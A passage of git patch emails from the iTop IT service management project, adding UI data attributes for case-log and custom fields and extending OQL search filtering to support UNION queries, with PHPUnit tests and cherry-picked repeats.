b/sources/application/UI/Base/Layout/ActivityPanel/CaseLogEntryForm/CaseLogEntryForm.php index 6f675458d..0bb160da9 100644 --- a/sources/application/UI/Base/Layout/ActivityPanel/CaseLogEntryForm/CaseLogEntryForm.php +++ b/sources/application/UI/Base/Layout/ActivityPanel/CaseLogEntryForm/CaseLogEntryForm.php @@ -5,6 +5,7 @@ */ namespace Combodo\iTop\Application\UI\Base\Layout\ActivityPanel\CaseLogEntryForm; +use AttributeCaseLog; use cmdbAbstractObject; use Combodo\iTop\Application\UI\Base\Component\Input\RichText\RichText; use Combodo\iTop\Application\UI\Base\Layout\UIContentBlock; @@ -105,6 +106,15 @@ class CaseLogEntryForm extends UIContentBlock return $this->sAttCode; } + /** + * @return string + * @since 3.0.4 3.1.0 N°6139 + */ + public function GetAttType(): string + { + return AttributeCaseLog::class; + } + /** * @see static::$sAttCode * @return string diff --git a/templates/base/layouts/activity-panel/caselog-entry-form/layout.html.twig b/templates/base/layouts/activity-panel/caselog-entry-form/layout.html.twig index d2c0938b9..d37355314 100644 --- a/templates/base/layouts/activity-panel/caselog-entry-form/layout.html.twig +++ b/templates/base/layouts/activity-panel/caselog-entry-form/layout.html.twig @@ -6,6 +6,9 @@ data-object-id="{{ oUIBlock.GetObjectId() }}" data-attribute-code="{{ oUIBlock.GetAttCode() }}" data-attribute-label="{{ oUIBlock.GetAttLabel() }}" + data-attribute-type="{{ oUIBlock.GetAttType() }}" + data-input-type="{{ constant('cmdbAbstractObject::ENUM_INPUT_TYPE_HTML_EDITOR') }}" + data-input-id="{{ oUIBlock.GetTextInput().GetId() }}" data-submit-mode="{{ oUIBlock.GetSubmitMode() }}" method="post">
From c3b00939ddf837ba3df6b5a16e79c8352a9aacd5 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Fri, 31 Mar 2023 17:58:09 +0200 Subject: [PATCH 195/230] =?UTF-8?q?N=C2=B06140=20-=20Add=20HTML=20metadata?= =?UTF-8?q?=20on=20custom=20fields=20to=20be=20aligned=20with=20regular=20?= =?UTF-8?q?fields?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../ConsoleSimpleFieldRenderer.php | 39 ++++++++++++++++++- sources/application/UI/Base/UIBlock.php | 12 ++++++ 2 files changed, 49 insertions(+), 2 deletions(-) diff --git a/sources/Renderer/Console/FieldRenderer/ConsoleSimpleFieldRenderer.php b/sources/Renderer/Console/FieldRenderer/ConsoleSimpleFieldRenderer.php index 9e696e1f0..9d8cbabe8 100644 --- a/sources/Renderer/Console/FieldRenderer/ConsoleSimpleFieldRenderer.php +++ b/sources/Renderer/Console/FieldRenderer/ConsoleSimpleFieldRenderer.php @@ -59,8 +59,43 @@ class ConsoleSimpleFieldRenderer extends FieldRenderer else { $oBlock = FieldUIBlockFactory::MakeStandard($this->oField->GetLabel()); - $oBlock->AddDataAttribute("input-id",$this->oField->GetGlobalId()); - $oBlock->AddDataAttribute("input-type",$sFieldClass); + $oBlock->SetAttLabel($this->oField->GetLabel()) + ->AddDataAttribute("input-id",$this->oField->GetGlobalId()) + ->AddDataAttribute("input-type",$sFieldClass); + + // Propagate data attribute from Field to UIBlock + // Note: This might no longer be necessary after the upcoming attributes rework project + foreach ($this->oField->GetMetadata() as $sMetadataKey => $sMetadataValue) { + switch ($sMetadataKey) { + // Important: Only some data attributes can be overloaded, this is done on purpose (eg. "input-type" set previously by an AttributeCustomFields) + case 'attribute-code': + case 'attribute-type': + case 'input-type': + if (utils::IsNotNullOrEmptyString($sMetadataValue)) { + switch ($sMetadataKey) { + case 'attribute-code': + $oBlock->SetAttCode($sMetadataValue); + break; + + case 'attribute-type': + $oBlock->SetAttType($sMetadataValue ?? ''); + break; + + case 'input-type': + $oBlock->AddDataAttribute($sMetadataKey, $sMetadataValue ?? ''); + break; + } + } + break; + + default: + if (false === $oBlock->HasDataAttribute($sMetadataKey)) { + $oBlock->AddDataAttribute($sMetadataKey, $sMetadataValue ?? ''); + } + break; + } + } + switch ($sFieldClass) { case 'Combodo\\iTop\\Form\\Field\\DateTimeField': diff --git a/sources/application/UI/Base/UIBlock.php b/sources/application/UI/Base/UIBlock.php index f0a770184..e40780fd3 100644 --- a/sources/application/UI/Base/UIBlock.php +++ b/sources/application/UI/Base/UIBlock.php @@ -599,6 +599,18 @@ abstract class UIBlock implements iUIBlock return $this; } + /** + * @param string $sName Name of the data attribute + * + * @return bool True if $sName is already defined (even as a null value) in the UIBLock data attributes, false otherwise + * @see static::$aDataAttributes + * @since 3.0.4 3.1.0 N°6140 + */ + public function HasDataAttribute(string $sName): bool + { + return array_key_exists($sName, $this->aDataAttributes); + } + /** * @return bool * @see static::$aDataAttributes From fca4006811e9087447a200c166c422127e27ca0b Mon Sep 17 00:00:00 2001 From: Molkobain Date: Fri, 31 Mar 2023 17:58:09 +0200 Subject: [PATCH 196/230] =?UTF-8?q?N=C2=B06085=20-=20UNION=20is=20not=20su?= =?UTF-8?q?pported=20in=20UserRightsProfile::GetSelectFilter?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php diff --git a/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php b/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php new file mode 100644 index 000000000..e69de29bb From 21d37fb2374b28f6b9c3f9acd1103e28c3366bfe Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 5 Apr 2023 17:07:23 +0200 Subject: [PATCH 197/230] =?UTF-8?q?N=C2=B06085=20-=20UNION=20is=20not=20su?= =?UTF-8?q?pported=20in=20UserRightsProfile::GetSelectFilter?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/dbobjectsearch.class.php | 142 ++++++++++-------- .../unitary-tests/core/DBUnionSearchTest.php | 66 ++++++++ 2 files changed, 142 insertions(+), 66 deletions(-) diff --git a/core/dbobjectsearch.class.php b/core/dbobjectsearch.class.php index 8be53e24b..2a9fa16b3 100644 --- a/core/dbobjectsearch.class.php +++ b/core/dbobjectsearch.class.php @@ -1103,22 +1103,39 @@ class DBObjectSearch extends DBSearch public function Filter($sClassAlias, DBSearch $oFilter) { // If the conditions are the correct ones for Intersect - if (MetaModel::IsParentClass($oFilter->GetFirstJoinedClass(),$this->GetFirstJoinedClass())) - { + if (MetaModel::IsParentClass($oFilter->GetFirstJoinedClass(), $this->GetFirstJoinedClass())) { return $this->Intersect($oFilter); } - /** @var \DBObjectSearch $oFilteredSearch */ - $oFilteredSearch = $this->DeepClone(); - $oFilterExpression = self::FilterSubClass($oFilteredSearch, $sClassAlias, $oFilter, $this->m_aClasses); - if ($oFilterExpression === false) - { - throw new CoreException("Limitation: cannot filter search"); + if ($oFilter instanceof DBUnionSearch) { + $aFilters = $oFilter->GetSearches(); + } else { + $aFilters = [$oFilter]; } - $oFilteredSearch->AddConditionExpression($oFilterExpression); + $aSearches = []; + foreach ($aFilters as $oRightFilter) { + /** @var \DBObjectSearch $oFilteredSearch */ + $oFilteredSearch = $this->DeepClone(); + $oFilterExpression = self::FilterSubClass($oFilteredSearch, $sClassAlias, $oRightFilter, $this->m_aClasses); + if ($oFilterExpression === false) { + throw new CoreException("Limitation: cannot filter search"); + } - return $oFilteredSearch; + $oFilteredSearch->AddConditionExpression($oFilterExpression); + $aSearches[] = $oFilteredSearch; + } + + if (count($aSearches) == 0) { + throw new CoreException('Filtering '.$this->ToOQL().' by '.$oFilter->ToOQL().' failed'); + } + + if (count($aSearches) == 1) { + // return a DBObjectSearch + return $aSearches[0]; + } + + return new DBUnionSearch($aSearches); } /** @@ -1184,22 +1201,10 @@ class DBObjectSearch extends DBSearch * @throws \CoreException */ public function Intersect(DBSearch $oFilter) - { - return $this->IntersectSubClass($oFilter, $this->m_aClasses); - } - - /** - * @param \DBSearch $oFilter - * @param array $aRootClasses classes of the root search (for aliases) - * - * @return \DBUnionSearch|mixed - * @throws \CoreException - */ - protected function IntersectSubClass(DBSearch $oFilter, $aRootClasses) { if ($oFilter instanceof DBUnionSearch) { - // Develop! + // Develop! $aFilters = $oFilter->GetSearches(); } else @@ -1210,56 +1215,61 @@ class DBObjectSearch extends DBSearch $aSearches = array(); foreach ($aFilters as $oRightFilter) { - // Limitation: the queried class must be the first declared class - if ($oRightFilter->GetFirstJoinedClassAlias() != $oRightFilter->GetClassAlias()) - { - throw new CoreException("Limitation: cannot merge two queries if the queried class ({$oRightFilter->GetClass()} AS {$oRightFilter->GetClassAlias()}) is not the first joined class ({$oRightFilter->GetFirstJoinedClass()} AS {$oRightFilter->GetFirstJoinedClassAlias()})"); - } - - /** @var \DBObjectSearch $oLeftFilter */ - $oLeftFilter = $this->DeepClone(); - $oRightFilter = $oRightFilter->DeepClone(); - - $bAllowAllData = ($oLeftFilter->IsAllDataAllowed() && $oRightFilter->IsAllDataAllowed()); - if ($bAllowAllData) - { - $oLeftFilter->AllowAllData(); - } - - if ($oLeftFilter->GetFirstJoinedClass() != $oRightFilter->GetClass()) - { - if (MetaModel::IsParentClass($oLeftFilter->GetFirstJoinedClass(), $oRightFilter->GetClass())) - { - // Specialize $oLeftFilter - $oLeftFilter->ChangeClass($oRightFilter->GetClass(), $oLeftFilter->GetFirstJoinedClassAlias()); - } - elseif (MetaModel::IsParentClass($oRightFilter->GetFirstJoinedClass(), $oLeftFilter->GetClass())) - { - // Specialize $oRightFilter - $oRightFilter->ChangeClass($oLeftFilter->GetFirstJoinedClass()); - } - else - { - throw new CoreException("Attempting to merge a filter of class '{$oLeftFilter->GetClass()}' with a filter of class '{$oRightFilter->GetClass()}'"); - } - } - - $aAliasTranslation = array(); - $oLeftFilter->RenameNestedQueriesAliasesInNameSpace($aRootClasses, $aAliasTranslation); - $oLeftFilter->MergeWith_InNamespace($oRightFilter, $aRootClasses, $aAliasTranslation); - $oRightFilter->RenameNestedQueriesAliasesInNameSpace($aRootClasses, $aAliasTranslation); - $oLeftFilter->TransferConditionExpression($oRightFilter, $aAliasTranslation); - $aSearches[] = $oLeftFilter; + $aSearches[] = $this->IntersectSubClass($oRightFilter, $this->m_aClasses); } + if (count($aSearches) == 1) { // return a DBObjectSearch return $aSearches[0]; } - else - { - return new DBUnionSearch($aSearches); + + return new DBUnionSearch($aSearches); + } + + /** + * @param \DBObjectSearch $oRightFilter + * @param array $aRootClasses classes of the root search (for aliases) + * + * @return \DBObjectSearch + * @throws \CoreException + */ + protected function IntersectSubClass(DBObjectSearch $oRightFilter, array $aRootClasses): DBObjectSearch + { + // Limitation: the queried class must be the first declared class + if ($oRightFilter->GetFirstJoinedClassAlias() != $oRightFilter->GetClassAlias()) { + throw new CoreException("Limitation: cannot merge two queries if the queried class ({$oRightFilter->GetClass()} AS {$oRightFilter->GetClassAlias()}) is not the first joined class ({$oRightFilter->GetFirstJoinedClass()} AS {$oRightFilter->GetFirstJoinedClassAlias()})"); } + + /** @var \DBObjectSearch $oLeftFilter */ + $oLeftFilter = $this->DeepClone(); + /** @var DBObjectSearch $oRightFilter */ + $oRightFilter = $oRightFilter->DeepClone(); + + $bAllowAllData = ($oLeftFilter->IsAllDataAllowed() && $oRightFilter->IsAllDataAllowed()); + if ($bAllowAllData) { + $oLeftFilter->AllowAllData(); + } + + if ($oLeftFilter->GetFirstJoinedClass() != $oRightFilter->GetClass()) { + if (MetaModel::IsParentClass($oLeftFilter->GetFirstJoinedClass(), $oRightFilter->GetClass())) { + // Specialize $oLeftFilter + $oLeftFilter->ChangeClass($oRightFilter->GetClass(), $oLeftFilter->GetFirstJoinedClassAlias()); + } elseif (MetaModel::IsParentClass($oRightFilter->GetFirstJoinedClass(), $oLeftFilter->GetClass())) { + // Specialize $oRightFilter + $oRightFilter->ChangeClass($oLeftFilter->GetFirstJoinedClass()); + } else { + throw new CoreException("Attempting to merge a filter of class '{$oLeftFilter->GetClass()}' with a filter of class '{$oRightFilter->GetClass()}'"); + } + } + + $aAliasTranslation = array(); + $oLeftFilter->RenameNestedQueriesAliasesInNameSpace($aRootClasses, $aAliasTranslation); + $oLeftFilter->MergeWith_InNamespace($oRightFilter, $aRootClasses, $aAliasTranslation); + $oRightFilter->RenameNestedQueriesAliasesInNameSpace($aRootClasses, $aAliasTranslation); + $oLeftFilter->TransferConditionExpression($oRightFilter, $aAliasTranslation); + + return $oLeftFilter; } /** diff --git a/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php b/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php index e69de29bb..7934623e7 100644 --- a/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php +++ b/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php @@ -0,0 +1,66 @@ +AllowAllData(); + $oSearch = $oSearch->Filter($sClassAlias, $oVisibleObjects); + $this->InvokeNonPublicMethod(get_class($oSearch), 'SetDataFiltered', $oSearch, []); + + $this->debug($oSearch->ToOQL()); + + $oSet = new DBObjectSet($oSearch); + $oSet->Count(); + + $this->assertTrue(true); + } + + /** + * Ignored test (provokes PHP Error) + * + * @return void + * @throws \CoreException + * @throws \MissingQueryArgument + * @throws \MySQLException + * @throws \MySQLHasGoneAwayException + * @throws \OQLException + */ + public function testFilterOnSecondSelectedClass() + { + $sSourceOQL = 'SELECT P1, L1 FROM Person AS P1 JOIN Location AS L1 ON P1.location_id = L1.id WHERE L1.id = 1'; + $oSearch = DBSearch::FromOQL($sSourceOQL); + + $sFilterOQL = 'SELECT Location AS L2 WHERE L2.id = 2 UNION SELECT Location AS L3 WHERE L3.id = 3'; + $oVisibleObjects = DBSearch::FromOQL($sFilterOQL); + $sClassAlias = 'L1'; + $oVisibleObjects->AllowAllData(); + $oSearch = $oSearch->Filter($sClassAlias, $oVisibleObjects); + + $oSearch->ToOQL(); + + $oSet = new DBObjectSet($oSearch); + $oSet->CountWithLimit(1); + + $this->assertTrue(true); + } +} From 8ffddeff01984b02227a7508818280c0ee32b614 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 5 Apr 2023 17:42:26 +0200 Subject: [PATCH 198/230] =?UTF-8?q?N=C2=B06085=20-=20UNION=20is=20not=20su?= =?UTF-8?q?pported=20in=20UserRightsProfile::GetSelectFilter?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../unitary-tests/core/DBUnionSearchTest.php | 60 +++++++++++++++++-- 1 file changed, 55 insertions(+), 5 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php b/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php index 7934623e7..5a622bd25 100644 --- a/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php +++ b/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php @@ -38,6 +38,7 @@ class DBUnionSearchTest extends ItopDataTestCase /** * Ignored test (provokes PHP Error) * + * @dataProvider FilterOnSecondSelectedClassProvider * @return void * @throws \CoreException * @throws \MissingQueryArgument @@ -45,22 +46,71 @@ class DBUnionSearchTest extends ItopDataTestCase * @throws \MySQLHasGoneAwayException * @throws \OQLException */ - public function testFilterOnSecondSelectedClass() + public function testFilterOnSecondSelectedClass($sSourceOQL, $sClassAlias, $sFilterOQL, $sExpected) { - $sSourceOQL = 'SELECT P1, L1 FROM Person AS P1 JOIN Location AS L1 ON P1.location_id = L1.id WHERE L1.id = 1'; $oSearch = DBSearch::FromOQL($sSourceOQL); - $sFilterOQL = 'SELECT Location AS L2 WHERE L2.id = 2 UNION SELECT Location AS L3 WHERE L3.id = 3'; $oVisibleObjects = DBSearch::FromOQL($sFilterOQL); - $sClassAlias = 'L1'; $oVisibleObjects->AllowAllData(); $oSearch = $oSearch->Filter($sClassAlias, $oVisibleObjects); - $oSearch->ToOQL(); + $sResult = $oSearch->ToOQL(); + $this->debug($sResult); + + $this->assertEquals($sExpected, $sResult); $oSet = new DBObjectSet($oSearch); $oSet->CountWithLimit(1); $this->assertTrue(true); } + + public function FilterOnSecondSelectedClassProvider() + { + return [ + [ + 'sSourceOQL' => "SELECT P1, L1 FROM Person AS P1 JOIN Location AS L1 ON P1.location_id = L1.id WHERE L1.id = 1", + 'sClassAlias' => "L1", + 'sFilterOQL' => "SELECT Location AS L2 WHERE L2.id = 2 UNION SELECT Location AS L3 WHERE L3.id = 3", + 'sExpected' => "SELECT `P1`, `L1` FROM Person AS `P1` JOIN Location AS `L1` ON `P1`.location_id = `L1`.id WHERE ((`L1`.`id` = 1) AND (`L1`.`id` = 2)) UNION SELECT `P1`, `L1` FROM Person AS `P1` JOIN Location AS `L1` ON `P1`.location_id = `L1`.id WHERE ((`L1`.`id` = 1) AND (`L1`.`id` = 3))", + ], + [ + 'sSourceOQL' => 'SELECT L1, P1 FROM Person AS P1 JOIN Location AS L1 ON P1.location_id = L1.id WHERE L1.id = 1', + 'sClassAlias' => 'L1', + 'sFilterOQL' => 'SELECT Location AS L2 WHERE L2.id = 2 UNION SELECT Location AS L3 WHERE L3.id = 3', + 'sExpected' => 'SELECT `L1`, `P1` FROM Person AS `P1` JOIN Location AS `L1` ON `P1`.location_id = `L1`.id WHERE ((`L1`.`id` = 1) AND (`L1`.`id` = 2)) UNION SELECT `L1`, `P1` FROM Person AS `P1` JOIN Location AS `L1` ON `P1`.location_id = `L1`.id WHERE ((`L1`.`id` = 1) AND (`L1`.`id` = 3))', + ], + [ + 'sSourceOQL' => "SELECT L1,O1 FROM Location AS L1 JOIN Organization AS O1 ON L1.org_id=O1.id JOIN Organization AS O2 ON O1.parent_id = O2.id WHERE L1.name != 'l1-name' AND O1.name != 'o1-name' AND ISNULL(O2.name) != 0", + 'sClassAlias' => "O1", + 'sFilterOQL' => "SELECT Organization AS O1 WHERE O1.id = 2 UNION SELECT Organization AS O2 WHERE O2.id = 3", + 'sExpected' => "SELECT `L1`, `O1` FROM Location AS `L1` JOIN Organization AS `O1` ON `L1`.org_id = `O1`.id JOIN Organization AS `O2` ON `O1`.parent_id = `O2`.id WHERE ((((`L1`.`name` != 'l1-name') AND (`O1`.`name` != 'o1-name')) AND (ISNULL(`O2`.`name`) != 0)) AND (`O1`.`id` = 2)) UNION SELECT `L1`, `O1` FROM Location AS `L1` JOIN Organization AS `O1` ON `L1`.org_id = `O1`.id JOIN Organization AS `O2` ON `O1`.parent_id = `O2`.id WHERE ((((`L1`.`name` != 'l1-name') AND (`O1`.`name` != 'o1-name')) AND (ISNULL(`O2`.`name`) != 0)) AND (`O1`.`id` = 3))", + ], + [ + 'sSourceOQL' => "SELECT L1,O2 FROM Location AS L1 JOIN Organization AS O1 ON L1.org_id=O1.id JOIN Organization AS O2 ON O1.parent_id = O2.id WHERE L1.name != 'l1-name' AND O1.name != 'o1-name' AND ISNULL(O2.name) != 0", + 'sClassAlias' => 'O2', + 'sFilterOQL' => 'SELECT Organization AS O1 WHERE O1.id = 2 UNION SELECT Organization AS O2 WHERE O2.id = 3', + 'sExpected' => "SELECT `L1`, `O2` FROM Location AS `L1` JOIN Organization AS `O1` ON `L1`.org_id = `O1`.id JOIN Organization AS `O2` ON `O1`.parent_id = `O2`.id WHERE ((((`L1`.`name` != 'l1-name') AND (`O1`.`name` != 'o1-name')) AND (ISNULL(`O2`.`name`) != 0)) AND (`O2`.`id` = 2)) UNION SELECT `L1`, `O2` FROM Location AS `L1` JOIN Organization AS `O1` ON `L1`.org_id = `O1`.id JOIN Organization AS `O2` ON `O1`.parent_id = `O2`.id WHERE ((((`L1`.`name` != 'l1-name') AND (`O1`.`name` != 'o1-name')) AND (ISNULL(`O2`.`name`) != 0)) AND (`O2`.`id` = 3))", + ], + [ + 'sSourceOQL' => "SELECT L1,O1 FROM Location AS L1 JOIN Organization AS O1 ON L1.org_id=O1.id JOIN Organization AS O2 ON O1.parent_id = O2.id WHERE L1.name != 'l1-name' AND O1.name != 'o1-name' AND ISNULL(O2.name) != 0", + 'sClassAlias' => 'O2', + 'sFilterOQL' => 'SELECT Organization AS O1 WHERE O1.id = 2 UNION SELECT Organization AS O2 WHERE O2.id = 3', + // This is another problem, we should not be able to filter on not selected classes + 'sExpected' => "SELECT `L1`, `O1` FROM Location AS `L1` JOIN Organization AS `O1` ON `L1`.org_id = `O1`.id JOIN Organization AS `O2` ON `O1`.parent_id = `O2`.id WHERE ((((`L1`.`name` != 'l1-name') AND (`O1`.`name` != 'o1-name')) AND (ISNULL(`O2`.`name`) != 0)) AND (`O2`.`id` = 2)) UNION SELECT `L1`, `O1` FROM Location AS `L1` JOIN Organization AS `O1` ON `L1`.org_id = `O1`.id JOIN Organization AS `O2` ON `O1`.parent_id = `O2`.id WHERE ((((`L1`.`name` != 'l1-name') AND (`O1`.`name` != 'o1-name')) AND (ISNULL(`O2`.`name`) != 0)) AND (`O2`.`id` = 3))", + ], + [ + 'sSourceOQL' => "SELECT P1, O1 FROM Person AS P1 JOIN Organization AS O1 ON P1.org_id = O1.id JOIN Location AS L1 ON P1.location_id = L1.id JOIN Organization AS O2 ON L1.org_id = O2.id WHERE L1.name != '' AND P1.name != '' AND O1.name != '' AND O2.name != ''", + 'sClassAlias' => 'O1', + 'sFilterOQL' => 'SELECT Organization AS O1 WHERE O1.id = 2 UNION SELECT Organization AS O2 WHERE O2.id = 3', + 'sExpected' => "SELECT `P1`, `O1` FROM Person AS `P1` JOIN Organization AS `O1` ON `P1`.org_id = `O1`.id JOIN Location AS `L1` ON `P1`.location_id = `L1`.id JOIN Organization AS `O2` ON `L1`.org_id = `O2`.id WHERE (((((`L1`.`name` != '') AND (`P1`.`name` != '')) AND (`O1`.`name` != '')) AND (`O2`.`name` != '')) AND (`O1`.`id` = 2)) UNION SELECT `P1`, `O1` FROM Person AS `P1` JOIN Organization AS `O1` ON `P1`.org_id = `O1`.id JOIN Location AS `L1` ON `P1`.location_id = `L1`.id JOIN Organization AS `O2` ON `L1`.org_id = `O2`.id WHERE (((((`L1`.`name` != '') AND (`P1`.`name` != '')) AND (`O1`.`name` != '')) AND (`O2`.`name` != '')) AND (`O1`.`id` = 3))", + ], + [ + 'sSourceOQL' => "SELECT P1, O2 FROM Person AS P1 JOIN Organization AS O1 ON P1.org_id = O1.id JOIN Location AS L1 ON P1.location_id = L1.id JOIN Organization AS O2 ON L1.org_id = O2.id WHERE L1.name != '' AND P1.name != '' AND O1.name != '' AND O2.name != ''", + 'sClassAlias' => 'O2', + 'sFilterOQL' => 'SELECT Organization AS O1 WHERE O1.id = 2 UNION SELECT Organization AS O2 WHERE O2.id = 3', + 'sExpected' => "SELECT `P1`, `O2` FROM Person AS `P1` JOIN Organization AS `O1` ON `P1`.org_id = `O1`.id JOIN Location AS `L1` ON `P1`.location_id = `L1`.id JOIN Organization AS `O2` ON `L1`.org_id = `O2`.id WHERE (((((`L1`.`name` != '') AND (`P1`.`name` != '')) AND (`O1`.`name` != '')) AND (`O2`.`name` != '')) AND (`O2`.`id` = 2)) UNION SELECT `P1`, `O2` FROM Person AS `P1` JOIN Organization AS `O1` ON `P1`.org_id = `O1`.id JOIN Location AS `L1` ON `P1`.location_id = `L1`.id JOIN Organization AS `O2` ON `L1`.org_id = `O2`.id WHERE (((((`L1`.`name` != '') AND (`P1`.`name` != '')) AND (`O1`.`name` != '')) AND (`O2`.`name` != '')) AND (`O2`.`id` = 3))", + ], + ]; + } } From dc8e6f314a7f1e7e6d751f3812002781fcfade5a Mon Sep 17 00:00:00 2001 From: Molkobain Date: Fri, 31 Mar 2023 17:58:09 +0200 Subject: [PATCH 199/230] =?UTF-8?q?N=C2=B06085=20-=20UNION=20is=20not=20su?= =?UTF-8?q?pported=20in=20UserRightsProfile::GetSelectFilter?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit (cherry picked from commit fca4006811e9087447a200c166c422127e27ca0b) --- tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php diff --git a/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php b/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php new file mode 100644 index 000000000..e69de29bb From 368b3f4ef7ddf280eabb0defc6e749f7f63db703 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 5 Apr 2023 17:07:23 +0200 Subject: [PATCH 200/230] =?UTF-8?q?N=C2=B06085=20-=20UNION=20is=20not=20su?= =?UTF-8?q?pported=20in=20UserRightsProfile::GetSelectFilter?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit (cherry picked from commit 21d37fb2374b28f6b9c3f9acd1103e28c3366bfe) --- core/dbobjectsearch.class.php | 142 ++++++++++-------- .../unitary-tests/core/DBUnionSearchTest.php | 66 ++++++++ 2 files changed, 142 insertions(+), 66 deletions(-) diff --git a/core/dbobjectsearch.class.php b/core/dbobjectsearch.class.php index 8be53e24b..2a9fa16b3 100644 --- a/core/dbobjectsearch.class.php +++ b/core/dbobjectsearch.class.php @@ -1103,22 +1103,39 @@ class DBObjectSearch extends DBSearch public function Filter($sClassAlias, DBSearch $oFilter) { // If the conditions are the correct ones for Intersect - if (MetaModel::IsParentClass($oFilter->GetFirstJoinedClass(),$this->GetFirstJoinedClass())) - { + if (MetaModel::IsParentClass($oFilter->GetFirstJoinedClass(), $this->GetFirstJoinedClass())) { return $this->Intersect($oFilter); } - /** @var \DBObjectSearch $oFilteredSearch */ - $oFilteredSearch = $this->DeepClone(); - $oFilterExpression = self::FilterSubClass($oFilteredSearch, $sClassAlias, $oFilter, $this->m_aClasses); - if ($oFilterExpression === false) - { - throw new CoreException("Limitation: cannot filter search"); + if ($oFilter instanceof DBUnionSearch) { + $aFilters = $oFilter->GetSearches(); + } else { + $aFilters = [$oFilter]; } - $oFilteredSearch->AddConditionExpression($oFilterExpression); + $aSearches = []; + foreach ($aFilters as $oRightFilter) { + /** @var \DBObjectSearch $oFilteredSearch */ + $oFilteredSearch = $this->DeepClone(); + $oFilterExpression = self::FilterSubClass($oFilteredSearch, $sClassAlias, $oRightFilter, $this->m_aClasses); + if ($oFilterExpression === false) { + throw new CoreException("Limitation: cannot filter search"); + } - return $oFilteredSearch; + $oFilteredSearch->AddConditionExpression($oFilterExpression); + $aSearches[] = $oFilteredSearch; + } + + if (count($aSearches) == 0) { + throw new CoreException('Filtering '.$this->ToOQL().' by '.$oFilter->ToOQL().' failed'); + } + + if (count($aSearches) == 1) { + // return a DBObjectSearch + return $aSearches[0]; + } + + return new DBUnionSearch($aSearches); } /** @@ -1184,22 +1201,10 @@ class DBObjectSearch extends DBSearch * @throws \CoreException */ public function Intersect(DBSearch $oFilter) - { - return $this->IntersectSubClass($oFilter, $this->m_aClasses); - } - - /** - * @param \DBSearch $oFilter - * @param array $aRootClasses classes of the root search (for aliases) - * - * @return \DBUnionSearch|mixed - * @throws \CoreException - */ - protected function IntersectSubClass(DBSearch $oFilter, $aRootClasses) { if ($oFilter instanceof DBUnionSearch) { - // Develop! + // Develop! $aFilters = $oFilter->GetSearches(); } else @@ -1210,56 +1215,61 @@ class DBObjectSearch extends DBSearch $aSearches = array(); foreach ($aFilters as $oRightFilter) { - // Limitation: the queried class must be the first declared class - if ($oRightFilter->GetFirstJoinedClassAlias() != $oRightFilter->GetClassAlias()) - { - throw new CoreException("Limitation: cannot merge two queries if the queried class ({$oRightFilter->GetClass()} AS {$oRightFilter->GetClassAlias()}) is not the first joined class ({$oRightFilter->GetFirstJoinedClass()} AS {$oRightFilter->GetFirstJoinedClassAlias()})"); - } - - /** @var \DBObjectSearch $oLeftFilter */ - $oLeftFilter = $this->DeepClone(); - $oRightFilter = $oRightFilter->DeepClone(); - - $bAllowAllData = ($oLeftFilter->IsAllDataAllowed() && $oRightFilter->IsAllDataAllowed()); - if ($bAllowAllData) - { - $oLeftFilter->AllowAllData(); - } - - if ($oLeftFilter->GetFirstJoinedClass() != $oRightFilter->GetClass()) - { - if (MetaModel::IsParentClass($oLeftFilter->GetFirstJoinedClass(), $oRightFilter->GetClass())) - { - // Specialize $oLeftFilter - $oLeftFilter->ChangeClass($oRightFilter->GetClass(), $oLeftFilter->GetFirstJoinedClassAlias()); - } - elseif (MetaModel::IsParentClass($oRightFilter->GetFirstJoinedClass(), $oLeftFilter->GetClass())) - { - // Specialize $oRightFilter - $oRightFilter->ChangeClass($oLeftFilter->GetFirstJoinedClass()); - } - else - { - throw new CoreException("Attempting to merge a filter of class '{$oLeftFilter->GetClass()}' with a filter of class '{$oRightFilter->GetClass()}'"); - } - } - - $aAliasTranslation = array(); - $oLeftFilter->RenameNestedQueriesAliasesInNameSpace($aRootClasses, $aAliasTranslation); - $oLeftFilter->MergeWith_InNamespace($oRightFilter, $aRootClasses, $aAliasTranslation); - $oRightFilter->RenameNestedQueriesAliasesInNameSpace($aRootClasses, $aAliasTranslation); - $oLeftFilter->TransferConditionExpression($oRightFilter, $aAliasTranslation); - $aSearches[] = $oLeftFilter; + $aSearches[] = $this->IntersectSubClass($oRightFilter, $this->m_aClasses); } + if (count($aSearches) == 1) { // return a DBObjectSearch return $aSearches[0]; } - else - { - return new DBUnionSearch($aSearches); + + return new DBUnionSearch($aSearches); + } + + /** + * @param \DBObjectSearch $oRightFilter + * @param array $aRootClasses classes of the root search (for aliases) + * + * @return \DBObjectSearch + * @throws \CoreException + */ + protected function IntersectSubClass(DBObjectSearch $oRightFilter, array $aRootClasses): DBObjectSearch + { + // Limitation: the queried class must be the first declared class + if 